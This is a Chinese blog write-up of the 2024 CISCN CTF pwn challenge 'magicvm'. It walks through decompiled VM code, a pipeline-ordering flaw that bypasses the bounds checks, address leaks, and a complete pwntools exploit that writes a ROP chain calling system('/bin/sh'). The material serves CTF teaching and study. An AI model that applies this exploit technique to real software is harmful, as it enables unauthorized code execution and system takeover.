2024 cicsn magicvm

已于 2024-06-02 23:51:46 修改
阅读量1.1k 收藏 11
点赞数 36
分类专栏： C++ pwn cicsn国赛初复赛 文章标签： 数据库
于 2024-06-02 23:34:14 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/llovewuzhengzi/article/details/139037094
版权

文章目录

参考

https://forum.butian.net/share/3048
https://akaieurus.github.io/2024/05/20/2024%E5%9B%BD%E8%B5%9B%E5%88%9D%E8%B5%9Bpwn-wp/#SuperHeap

检查

在这里插入图片描述

逆向

vm::run

__int64 __fastcall vm::run(vm *my_vm)
{
  __int64 v1; // rax
  int v3; // [rsp+1Ch] [rbp-4h]

  while ( 1 )
  {
    vm_alu::set_input(my_vm->vm_alu, my_vm);
    vm_mem::set_input(my_vm->vm_mem, my_vm);
    my_vm->pc += (int)vm_id::run(my_vm->vm_id, my_vm);// 识别当前指令并返回长度
    v3 = vm_alu::run(my_vm->vm_alu, my_vm);     // 执行当前指令，得到临时结果
    vm_mem::run(my_vm->vm_mem);                 // 将结果转换到对应的位置中去
    if ( !v3 )
      break;
    if ( v3 == -1 )
    {
      v1 = std::operator<<<std::char_traits<char>>(&std::cout, "SOME STHING WRONG!!");
      std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
      exit(0);
    }
  }
  return 0LL;
}

vm::vm

void __fastcall vm::vm(vm *my_vm)
{
  struct vm_id *vm_id; // rax
  struct vm_alu *vm_alu; // rax
  vm_mem *v3; // rax
  __int64 i; // rdx

  my_vm->code_base = mmap(0LL, 0x6000uLL, 3, 34, -1, 0LL);
  my_vm->data_base = my_vm->code_base + 0x2000LL;
  my_vm->stack_base = my_vm->data_base + 0x3000LL;
  my_vm->data_size = 0x3000LL;
  my_vm->code_size = 0x2000LL;
  my_vm->stack_size = 0x1000LL;
  vm_id = (struct vm_id *)operator new(0x28uLL);
  LODWORD(vm_id->isvalid_id) = 0;
  vm_id->opcode = 0LL;
  vm_id->optype = 0LL;
  vm_id->arg1 = 0LL;
  vm_id->arg2 = 0LL;
  my_vm->vm_id = vm_id;
  vm_alu = (struct vm_alu *)operator new(0x50uLL);
  *(_OWORD *)&vm_alu->isvali_id = 0LL;
  *(_OWORD *)&vm_alu->optype = 0LL;
  *(_OWORD *)&vm_alu->arg2 = 0LL;
  *(_OWORD *)&vm_alu->content_change_addr = 0LL;
  *(_OWORD *)&vm_alu->stack_ptr_addr = 0LL;
  my_vm->vm_alu = vm_alu;
  v3 = (vm_mem *)operator new(0x28uLL);
  v3->is_valid = 0;
  v3->value_to_addr_time = 0;
  for ( i = 0LL; ; ++i )
  {
    v3->val_to_ad[i].addr = 0LL;
    v3->val_to_ad[i].value = 0LL;
    if ( i == 1 )
      break;
  }
  my_vm->vm_mem = v3;
}

vm_alu::set_input

vm_alu *__fastcall vm_alu::set_input(vm_alu *my_vm_alu, vm *my_vm)
{
  vm_id *vm_id; // rdx
  vm_alu *result; // rax
  __int64 opcode; // rbx
  __int64 arg1; // rbx

  vm_id = my_vm->vm_id;
  result = my_vm_alu;
  opcode = vm_id->opcode;
  my_vm_alu->isvali_id = vm_id->isvalid_id;
  my_vm_alu->opcode = opcode;
  arg1 = vm_id->arg1;
  my_vm_alu->optype = vm_id->optype;
  my_vm_alu->arg1 = arg1;
  my_vm_alu->arg2 = vm_id->arg2;
  return result;
}

vm_mem::set_input

vm_mem *__fastcall vm_mem::set_input(vm_mem *my_vm_men, vm *my_vm)
{
  vm_alu *vm_alu; // rdx
  vm_mem *result; // rax
  _QWORD *content_change_addr; // rbx
  _QWORD *stack_ptr_addr; // rbx

  vm_alu = my_vm->vm_alu;
  result = my_vm_men;
  content_change_addr = vm_alu->content_change_addr;
  *(_QWORD *)&my_vm_men->is_valid = *(_QWORD *)&vm_alu->isvalid_alu;
  my_vm_men->val_to_ad[0].addr = content_change_addr;
  stack_ptr_addr = vm_alu->stack_ptr_addr;
  my_vm_men->val_to_ad[0].value = vm_alu->alu_result;
  my_vm_men->val_to_ad[1].addr = stack_ptr_addr;
  my_vm_men->val_to_ad[1].value = vm_alu->stack_ptr_after_change;
  return result;
}

vm_id::run

__int64 __fastcall vm_id::run(vm_id *my_vm_id, vm *my_vm)
{
  char *my_vm_pc; // rax
  char *optype_pc_1; // rax
  int v4; // eax
  char *first_value_pc_1; // rax
  char *first_value_pc_2; // rax
  int v7; // eax
  char *optype_pc_2; // rax
  char opcode; // [rsp+18h] [rbp-18h]
  char optype; // [rsp+19h] [rbp-17h]
  char first_value; // [rsp+1Ah] [rbp-16h]
  char first_value_1; // [rsp+1Ah] [rbp-16h]
  char second_valuea; // [rsp+1Ah] [rbp-16h]
  char second_valueb; // [rsp+1Ah] [rbp-16h]
  char value1; // [rsp+1Ah] [rbp-16h]
  char optype_1; // [rsp+1Bh] [rbp-15h]
  unsigned int change_pc; // [rsp+1Ch] [rbp-14h]
  _BYTE *optype_pc; // [rsp+20h] [rbp-10h]
  char *arg_value_pc; // [rsp+20h] [rbp-10h]
  char *value1_pc; // [rsp+20h] [rbp-10h]

  my_vm_pc = (char *)(my_vm->code_base + my_vm->pc);// 指令位置指针，按字节识别
  optype_pc = my_vm_pc + 1;
  opcode = *my_vm_pc;
  change_pc = 1;
  if ( *my_vm_pc <= 0 || opcode > 8 )
  {
    if ( opcode <= 8 || opcode > 10 )
    {
      if ( opcode && opcode != 11 )
      {
        my_vm_id->opcode = -1LL;
      }
      else
      {
        my_vm_id->opcode = opcode;              // 11 nop指令
        my_vm_id->optype = 0LL;
        my_vm_id->arg1 = 0LL;
        my_vm_id->arg2 = 0LL;
      }
    }
    else
    {                                           // 9-10 push pop
      optype_pc_2 = my_vm_pc + 1;
      value1_pc = optype_pc + 1;
      optype_1 = *optype_pc_2;
      change_pc = 2;
      my_vm_id->optype = *optype_pc_2;
      if ( (optype_1 & 3) == 2 )                // value为reg的标号
      {
        change_pc = 3;
        value1 = *value1_pc;
        if ( vm_id::check_regs(my_vm_id, *value1_pc, my_vm) )// 检查标号是否小于等于3
        {
          my_vm_id->opcode = opcode;
          my_vm_id->arg1 = value1;
          my_vm_id->arg2 = 0LL;
        }
        else                                    // 否则标号越界，错误
        {
          my_vm_id->opcode = -1LL;
        }
      }
      else                                      //  optype只能为寄存器类型，否则错误
      {
        my_vm_id->opcode = -1LL;
      }
      if ( (my_vm->stack_ptr & 7LL) != 0 )      // 八对齐，否则错误
        my_vm_id->opcode = -1LL;
      if ( opcode == 9 )                        // stack_ptr从零开始，相对地址从stack_base
      {
        if ( my_vm->stack_ptr >= my_vm->stack_size || my_vm->stack_ptr <= 7uLL )
          my_vm_id->opcode = -1LL;              // push的话要判断stack_ptr还有多余的8可以减去，并且要在stack_size里面，从零开始
      }
      else if ( (unsigned __int64)(my_vm->stack_size - 8LL) < my_vm->stack_ptr )
      {                                         // pop的话判断stack_ptr+8不会超过stack_size上界
        my_vm_id->opcode = -1LL;
      }
    }
  }
  else                                          // 1-8
  {
    optype_pc_1 = my_vm_pc + 1;
    arg_value_pc = optype_pc + 1;
    optype = *optype_pc_1;
    change_pc = 2;
    my_vm_id->optype = *optype_pc_1;
    v4 = optype & 3;
    if ( v4 == 2 )                              // value是寄存器下标
    {
      change_pc = 3;
      first_value_pc_1 = arg_value_pc++;        // 杀千刀的，这里的值是＋之前的
      first_value = *first_value_pc_1;
      if ( vm_id::check_regs(my_vm_id, *first_value_pc_1, my_vm) )
      {
        my_vm_id->opcode = opcode;
        my_vm_id->arg1 = first_value;
      }
      else
      {
        my_vm_id->opcode = -1LL;
      }
    }
    else if ( v4 == 3 )                         // value也是寄存器下标，要检查寄存器中值是否超过地址界限
    {
      change_pc = 3;
      first_value_pc_2 = arg_value_pc++;
      first_value_1 = *first_value_pc_2;
      if ( vm_id::check_addr(my_vm_id, my_vm->regist[*first_value_pc_2], my_vm) )
      {
        my_vm_id->opcode = opcode;
        my_vm_id->arg1 = first_value_1;
      }
      else
      {
        my_vm_id->opcode = -1LL;
      }
    }
    else
    {
      my_vm_id->opcode = -1LL;
    }
    if ( my_vm_id->opcode != -1LL )
    {
      v7 = (optype >> 2) & 3;
      if ( v7 == 3 )
      {                                         // 参数是寄存器的下标
        ++change_pc;
        second_valueb = *arg_value_pc;
        if ( vm_id::check_addr(my_vm_id, my_vm->regist[*arg_value_pc], my_vm) )
          my_vm_id->arg2 = second_valueb;
        else
          my_vm_id->opcode = -1LL;
      }
      else
      {
        if ( ((optype >> 2) & 3u) > 3 )         // 类型大于3不存在
        {
LABEL_25:
          my_vm_id->opcode = -1LL;
          goto LABEL_45;
        }
        if ( v7 == 1 )                          // 参数是立即数
        {
          change_pc += 8;                       // pc要变化八个字节，八个字节存立即数
          my_vm_id->arg2 = *(_QWORD *)arg_value_pc;
        }
        else
        {
          if ( v7 != 2 )
            goto LABEL_25;
          ++change_pc;                          // 是寄存器
          second_valuea = *arg_value_pc;
          if ( vm_id::check_regs(my_vm_id, *arg_value_pc, my_vm) )
            my_vm_id->arg2 = second_valuea;
          else
            my_vm_id->opcode = -1LL;
        }
      }
    }
  }
LABEL_45:
  LODWORD(my_vm_id->isvalid_id) = 1;
  return change_pc;
}

_BOOL8 __fastcall vm_id::check_regs(vm_id *this, unsigned __int64 a2, vm *a3)
{
  return a2 <= 3;
}
_BOOL8 __fastcall vm_id::check_addr(vm_id *this, unsigned __int64 a2, vm *a3)
{
  return a3->data_size - 8LL >= a2;             // 地址少八，是因为地址内容是包括后面的八个字节内容
}

vm_alu::run

__int64 __fastcall vm_alu::run(vm_alu *my_vm_alu, vm *my_vm)
{
  __int64 arg2_type; // rax
  __int64 arg1_type; // rax
  unsigned __int64 opcode; // rax

  if ( !LODWORD(my_vm_alu->isvali_id) )
    return 1LL;
  if ( my_vm_alu->opcode && my_vm_alu->opcode <= 8uLL )
  {
    arg2_type = (my_vm_alu->optype >> 2) & 3LL;
    if ( arg2_type == 3 )
    {                                           // 参数为寄存器存的地址的值
      my_vm_alu->arg2 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg2]);
    }
    else if ( arg2_type != 1 )
    {
      if ( arg2_type != 2 )
        return 0xFFFFFFFFLL;
      my_vm_alu->arg2 = my_vm->regist[my_vm_alu->arg2];// 寄存器存的值
    }
    arg1_type = my_vm_alu->optype & 3LL;
    if ( arg1_type == 2 )
    {
      my_vm_alu->value_to_addr_time = 1;        // 只要修改一次地址的内容
      my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 存储寄存器的值在vm结构体里的地址
      my_vm_alu->arg1 = my_vm->regist[my_vm_alu->arg1];
    }
    else
    {
      if ( arg1_type != 3 )
        return 0xFFFFFFFFLL;
      if ( (my_vm_alu->optype & 0xCLL) == 12 )
        return 0xFFFFFFFFLL;
      my_vm_alu->value_to_addr_time = 1;
      my_vm_alu->content_change_addr = (_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存储参数所在地址
      my_vm_alu->arg1 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存储地址的参数内容
    }
    switch ( my_vm_alu->opcode )
    {
      case 1LL:
        my_vm_alu->alu_result = my_vm_alu->arg2 + my_vm_alu->arg1;
        break;
      case 2LL:
        my_vm_alu->alu_result = my_vm_alu->arg1 - my_vm_alu->arg2;
        break;
      case 3LL:
        my_vm_alu->alu_result = my_vm_alu->arg1 << my_vm_alu->arg2;
        break;
      case 4LL:
        my_vm_alu->alu_result = my_vm_alu->arg1 >> my_vm_alu->arg2;
        break;
      case 5LL:
        my_vm_alu->alu_result = my_vm_alu->arg2;
        break;
      case 6LL:
        my_vm_alu->alu_result = my_vm_alu->arg2 & my_vm_alu->arg1;
        break;
      case 7LL:
        my_vm_alu->alu_result = my_vm_alu->arg2 | my_vm_alu->arg1;
        break;
      case 8LL:
        my_vm_alu->alu_result = my_vm_alu->arg2 ^ my_vm_alu->arg1;
        break;
      default:
        goto exit;
    }
    goto exit;
  }
  opcode = my_vm_alu->opcode;
  if ( opcode == 11 )
  {
    my_vm_alu->isvalid_alu = 0;
    return 1LL;
  }
  if ( opcode > 0xB )                           // 大于11无效opcode
    return 0xFFFFFFFFLL;
  if ( opcode == 10 )                           // pop
  {
    my_vm_alu->value_to_addr_time = 2;
    my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 得到寄存器内容的地址，pop会修改寄存器
    my_vm_alu->alu_result = *(_QWORD *)(my_vm->stack_base + my_vm->stack_ptr);
    my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;
    my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr + 8LL;
    goto exit;
  }
  if ( !opcode )
  {
    my_vm_alu->isvalid_alu = 0;
    return 0LL;
  }
  if ( opcode != 9 )
    return 0xFFFFFFFFLL;
  my_vm_alu->value_to_addr_time = 2;            // push
  my_vm_alu->content_change_addr = (_QWORD *)(my_vm->stack_base + my_vm->stack_ptr - 8LL);
  my_vm_alu->alu_result = my_vm->regist[my_vm_alu->arg1];
  my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;
  my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr - 8LL;
exit:
  my_vm_alu->isvalid_alu = 1;
  return 1LL;
}

vm_mem::run

__int64 __fastcall vm_mem::run(vm_mem *my_vm_men)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  result = (unsigned int)my_vm_men->is_valid;   // alu是否成功执行
  if ( (_DWORD)result )
  {
    for ( i = 0; ; ++i )
    {
      result = (unsigned int)my_vm_men->value_to_addr_time;// 第一次赋值改变的寄存器
                                                // 第二次赋值改变栈地址
      if ( i >= (int)result )
        break;
      *my_vm_men->val_to_ad[i].addr = my_vm_men->val_to_ad[i].value;// 赋值
    }
  }
  return result;
}

漏洞

存在延迟，有个依赖关系，各个结构体的isvalid变量，代表前一步是否执行完
分为三个阶段

  • 解析得到vid（存在检查，寄存器的标号和寄存器存储的内容(访问的地址)不能超过data_size）
  • 执行得到alu
  • 改变值得到mem

vid和改变值不是立即发生的，解析得到vid之后改变参数值（之前的指令到达mem步），那么就可以绕过vid中对参数的检查

思路

  • 任意地址写通过寄存器存储：你要写的地址-database的值，然后通过mem方式mov [寄存器+database], 值或寄存器 就可以将值写入任意地址
  • 任意地址读也差不多，寄存器存储：你要读的地址-database的值，然后通过mem方式mov 寄存器，[寄存器+database]，然后寄存器就是你要读的地址里的内容了

泄露libc地址
在这里插入图片描述
在这里插入图片描述

泄露database的地址
在这里插入图片描述
泄露environ地址
在这里插入图片描述
在这里插入图片描述
得到environ内的栈地址

在这里插入图片描述
得到对应的返回地址
在这里插入图片描述
泄露pie地址
在这里插入图片描述
得到pie基地址
在这里插入图片描述
控制到database在vm上的位置
在这里插入图片描述
往database在vm结构体所在地址写入栈的返回地址所在地址
在这里插入图片描述
写入ret
在这里插入图片描述
写入pop rdi ret
在这里插入图片描述
写入/bin/sh
在这里插入图片描述
写入system地址
在这里插入图片描述
最后没有指令可以执行vm::run退出会执行之前写入的rop，最后这里加个ret是system执行时候对齐
在这里插入图片描述
结果
在这里插入图片描述

参考的exp

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'


def inst():
    return 1

def mem():
    return 3

def reg():
    return 2

def args(flag1,flag2,arg1,arg2):
    var=(flag1|(flag2<<2)).to_bytes(1,'little')+arg1.to_bytes(1,'little')
    if flag2==1:
        return var+p64(arg2)
    else:
        return var+arg2.to_bytes(1,'little')

def arg(flag,arg):
    var=flag.to_bytes(1,'little')
    if flag==1:
        return var+p64(arg)
    else:
        return var+arg.to_bytes(1,'little')

def add(arg):
    return b'\x01'+arg

def sub(arg):
    return b'\x02'+arg

def rshift(arg):
    return b'\x03'+arg

def lshift(arg):
    return b'\x04'+arg

def mov(arg):
    return b'\x05'+arg

def andd(arg):
    return b'\x06'+arg

def orr(arg):
    return b'\x07'+arg

def xor(arg):
    return b'\x08'+arg

def pop(arg):
    return b'\x09'+arg

def push(arg):
    return b'\x0a'+arg

def nop():
    return b'\x0b'


p=process('./pwn')
libc=ELF('./libc.so.6')

# libcbase
code=mov(args(reg(),inst(),0,0x27ff8))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x459a0))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# membase
code+=mov(args(reg(),inst(),0,0x28020))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=sub(args(reg(),inst(),2,0xc040))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# save libcbase membase
code+=mov(args(mem(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),inst(),0,8))
code+=nop()
code+=mov(args(mem(),reg(),0,2))
code+=nop()

# stack cal
code+=mov(args(reg(),inst(),0,0x222200))
code+=nop()
code+=add(args(reg(),reg(),1,0))
code+=nop()
code+=sub(args(reg(),reg(),1,2))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# stack
code+=mov(args(reg(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x130))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# pie
code+=mov(args(reg(),reg(),3,1))
code+=nop()
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(reg(),mem(),3,0))
code+=nop()
code+=sub(args(reg(),inst(),3,0x1ddd))
code+=nop()
code+=add(args(reg(),inst(),3,0x4200-8))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# change membase
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(mem(),reg(),0,1))
code+=nop()

# gap
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=nop()

rdi=0x2a3e5
ret=0x29139
bin_sh=next(libc.search(b'/bin/sh\x00'))
system=libc.symbols['system']
# rop
code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,ret))
code+=nop()
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,rdi))
code+=nop()
code+=mov(args(reg(),inst(),3,8))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,bin_sh))
code+=nop()
code+=mov(args(reg(),inst(),3,0x10))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,system))
code+=nop()
code+=mov(args(reg(),inst(),3,0x18))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

# end
code+=nop()
code+=nop()

#gdb.attach(p)
p.sendafter(b'plz input your vm-code\n',code)
p.interactive()
看星猩的柴狗
关注
  • 36
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
2024 cicsn gostack
llovewuzhengzi的博客
05-29 587
Go语言中的切片是一种动态数据结构，可以看作是对底层数组的封装，包含指向数组的指针、长度和容量三个要素。错误起始于尝试写入一个非常长的字符串到缓冲区时，这个操作在内部触发了切片扩容，但由于字符串过长，导致扩容失败。会尝试构建一个缓冲区来存放格式化后的字符串，如果字符串过长导致所需缓冲区的容量超过了Go所能支持的最大值，就会引发“cap out of range”的错误。这里，程序试图格式化输出一个很长的字符串（你的输入），但在构建输出缓冲时遇到了容量限制问题。打印这个字符串时，就可能会遇到上述错误。
2024 cicsn SuperHeap
llovewuzhengzi的博客
06-07 1027
我们要使得分配到一个非tcache大小的chunk，然后不是来自bin中的，然后free后能够进入unsortedbin，再通过溢出填充然后能够泄露，接下来分配book_struct不会来自bin中，由于是通过内容溢出，所以内容的chunk也要不来自bin，连着两个就可以实现第一个的内容溢出到第二个的内容。然后泄露libc基地址，虽然有很多无用的已经free掉的chunk干扰，但我们可以使得要构造的堆布局的大小不符合已经free的chunk就行，至于一些不会用到的堆布局的堆，我们让他依然来自bin就行了。
2024 cicsn ezbuf
llovewuzhengzi的博客
06-08 718
add会检查索引，然后根据索引分配会固定得到0x40大小的chunk，并且会把whatcon的内容赋值过去，10次delete，会检查索引范围，和对应索引的chunk是否为空，但free后没有清零，3次show。会在会检查索引范围，和对应索引的chunk是否为空，并且在whatsthis == '\xFF’和 whatsize == 48都不满足会打印出chunk的内容。当时压根不知道用了protobuf这个玩意，提取工具也没提取出来，还是做题做太少了，很多关键性的结构都没看出来是protobuf。
2024 cicsn 西南赛区 半决赛
llovewuzhengzi的博客
06-24 814
不能联网搜是真坐牢本来想等着全写了再发的，但qeme卡到某个地方了，想发出来看看有没有师傅有想法欢迎留言,自己准备再学学做做其他qeme题看能不能找到思路，链式前向星的基本思想是为图中的每个顶点维护一个链表，链表中的每个节点代表从该顶点出发的一条边，节点中通常存储目标顶点编号以及边的权值（如果有）。这样，每个顶点的邻接点可以通过遍历链表快速访问。int to;// 目标顶点编号int weight;// 边的权值，可选，对于无权图可以忽略int next;// 指向下一条边的指针，构成链表。
【星海随笔】vCenter Server 和主机管理。
weixin_41997073的博客
07-16 192
1.方法：删除页面信息，然后断连这个受管主机，断开受管主机的连接不会将其从 vCenter Server 中移除，而只是临时挂起 vCenter Server 执行的所有监控活动。2.方法：在分布式存储中找到该虚拟设备的存储盘，文件里找到相关的vmdk磁盘文件，点击注册虚拟机。当资料不匹配时候，可以删除展示页面，孤立的设备的 匹配位置的信息。断开后，然后重新连接，既可以重新识别受监管的主机。数据库在Vserver中展示的是一个数据库的资料，应该是client的资料。1.确定为资料不匹配导致的展示问题。
PostgreSQL的逻辑架构
weixin_41992498的博客
07-18 65
一、PostgreSql的逻辑架构：所有者：
Linux系统的用户组管理和权限以及创建用户
Johaden的博客
07-14 983
因此，我们可以根据每个用户的角色、职位和需求，为他们分配相应的权限，以确保服务器的安全性和有效管理。sudo（superuser do）是在类Unix操作系统中（包括Linux和macOS）常用的一个命令，它允许经过授权的用户以系统管理员（通常是root用户）的权限来运行程序或命令。2.在登陆Ubuntu时，会填写全名、用户名、密码等，所创建的这个用户就是默认用户，其中全名可以类似为一个昵称，用户名为主机名（较正式，不可随意更改）。超级用户可以执行系统上的所有命令，包括系统配置、文件访问和用户管理等。
Spring框架之DI依赖注入
G81948577的博客
07-18 495
我们在下面构建spring的过程中体会依赖注入；从上面的图中我们知道，在ssm框架中服务层（server）无法直接操作数据库，持久层（dao）是直接操作数据库进行数据处理的，但是我们如果在服务层有一个持久层的对象，然后我们在服务层通过对象去调用持久层的方法就可以操作数据库了。@OverrideSystem.out.println("持久层，你好");UserServiceImpl类中的代码如下@Override。
深入 Dify 源码，洞察 Dify RAG 核心机制
易迟的专栏
07-17 978
之前深入源码对 Dify 的完整流程进行了解读，基本上梳理了 Dify 的实现流程与主要组件。但是在实际部署之后，发现 Dify 现有的 RAG 检索效果没有那么理想。因此个人结合前端页面，配置信息与实现流程，深入查看了私有化部署的 Dify 的技术细节。将核心内容整理在这边，方便大家根据实际的业务场景调整 Dify 知识库的配置，或者根据需要进行二次开发调优。
MySQL 其他
w1834938347的博客
07-15 684
SQL执行顺序from确定查询的表，jion连接表、on对from进行过滤，where进行条件过滤，group by和having进行分组后过滤，select进行指定的列，distinct去重，排序，限制行数定表过滤-分组过滤-选列过滤。
day04：Redis和店铺营业状态设置
m0_69266818的博客
07-15 825
介绍了Redis命令和用java操作redis还有营业额状态接口的书写
Apache AGE的WITH子句
oscube的博客
07-17 244
使用 WITH，您可以在将输出传递给以下查询部分之前对其进行操作。这些操作可以是结果集中条目的形状和/或数量。WITH 也可以像 RETURN 一样，使用别名对引入结果的表达式进行别名，使用别名作为绑定名称。WITH 还用于将图的读取与图的更新分开。查询的每个部分必须是只读的或只写的。从写入子句转到读取子句时，可以使用可选的 WITH 进行此操作。
Java面试八股之Redis集群Cluster
u012151345的博客
07-15 628
如果客户端连接的是错误的节点，节点会返回MOVED或ASK重定向响应，指示客户端转向正确的节点。添加新节点：向集群中添加新节点时，通过redis-trib或redis-cli重新分配部分槽位到新节点，其他节点自动与新节点同步这部分槽位的数据。配置集群模式：为每个节点启用Cluster模式，指定Cluster所需的端口（通常为主节点端口+10000，用于节点间通信）以及Cluster配置文件（如redis.conf中的相关参数）。原主节点恢复后，若配置允许，它将自动成为新主节点的从节点。
sqlalchemy定期保持mysql连接活跃
最新发布
ithongchou的博客
07-18 160
数据库时，确保保持活跃连接是很重要的，特别是在长时间不使用数据库连接时。使用连接池管理数据库连接。通过配置合适的连接池参数可以有效地保持活跃连接。，以保持连接的活跃状态。这可以通过任务调度库如。（超出连接池大小时允许创建的额外连接数）和。（连接在被放回连接池前的最大生存时间）等。查询，保持数据库连接的活跃状态。可以定期执行简单的查询，例如。这个例子会每隔一段时间执行。
redis基本类型和订阅
m0_62975692的博客
07-16 986
Redis支持发布订阅模式，可以将多个客户端连接到同一个频道，然后将消息发布到频道中，所有订阅该频道的客户端都能收到消息。其中，< host>是Redis服务器的主机名或IP地址，< port>是Redis服务器的端口号，< password>是Redis服务器的密码（如果有的话）。列表是一种有序的字符串集合，可以在列表的两端进行插入和删除操作。lrange # 获取列表指定范围的元素。lpush # 在列表左端插入元素 ，这里的。
Django prefetch_related()方法
人生苦短，何妨一试
07-15 494
prefetch_related()是 Django ORM 中用于优化查询性能的另一个重要方法，尤其在处理多对多（ManyToMany）关系和反向关系时非常有用。它允许你预加载相关对象，从而减少数据库查询次数。
mysql的索引、事务和存储引擎
Hai990218的博客
07-17 1100
索引是一个排序的列表，在列表当中存储索引的值以及索引值对应数据所在的物理行。索引值和数据是一个映射关系。
怎么理解redis持久化？
琳琳的博客
07-18 180
在实际使用中，你可以根据应用场景的需求来选择使用 RDB 还是 AOF，或者同时使用它们来提高数据的可靠性和恢复速度。+ 在 RDB 文件生成过程中，Redis 仍然处于处理请求的状态，因此可能存在数据丢失的风险（丢失最后一次快照后的数据）。+ 数据更可靠，因为 AOF 文件保存了所有写操作的日志，只要日志文件不丢失，就可以通过重新执行这些日志来恢复数据。+ 恢复数据时，需要重新执行 AOF 文件中的所有命令，因此恢复速度可能会比 RDB 慢。+ AOF 文件是一个追加写入的文件，因此写入性能非常高。
Redis
weixin_52943021的博客
07-14 871
id(int)age(int)1Tom182VScode编辑工具官网：# LPUSH key value1 value2 将一个或多个值插入到列表头部(左侧)# 语法：LPUSH key element[element...] 列表就是key,[element...]表示可以插入多# 个元素，L代表 LEFT,LPUSH表示从最左边开始插入 实例如下：1) "2"2) "1"3) "three"4) "two"5) "one"

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

看星猩的柴狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值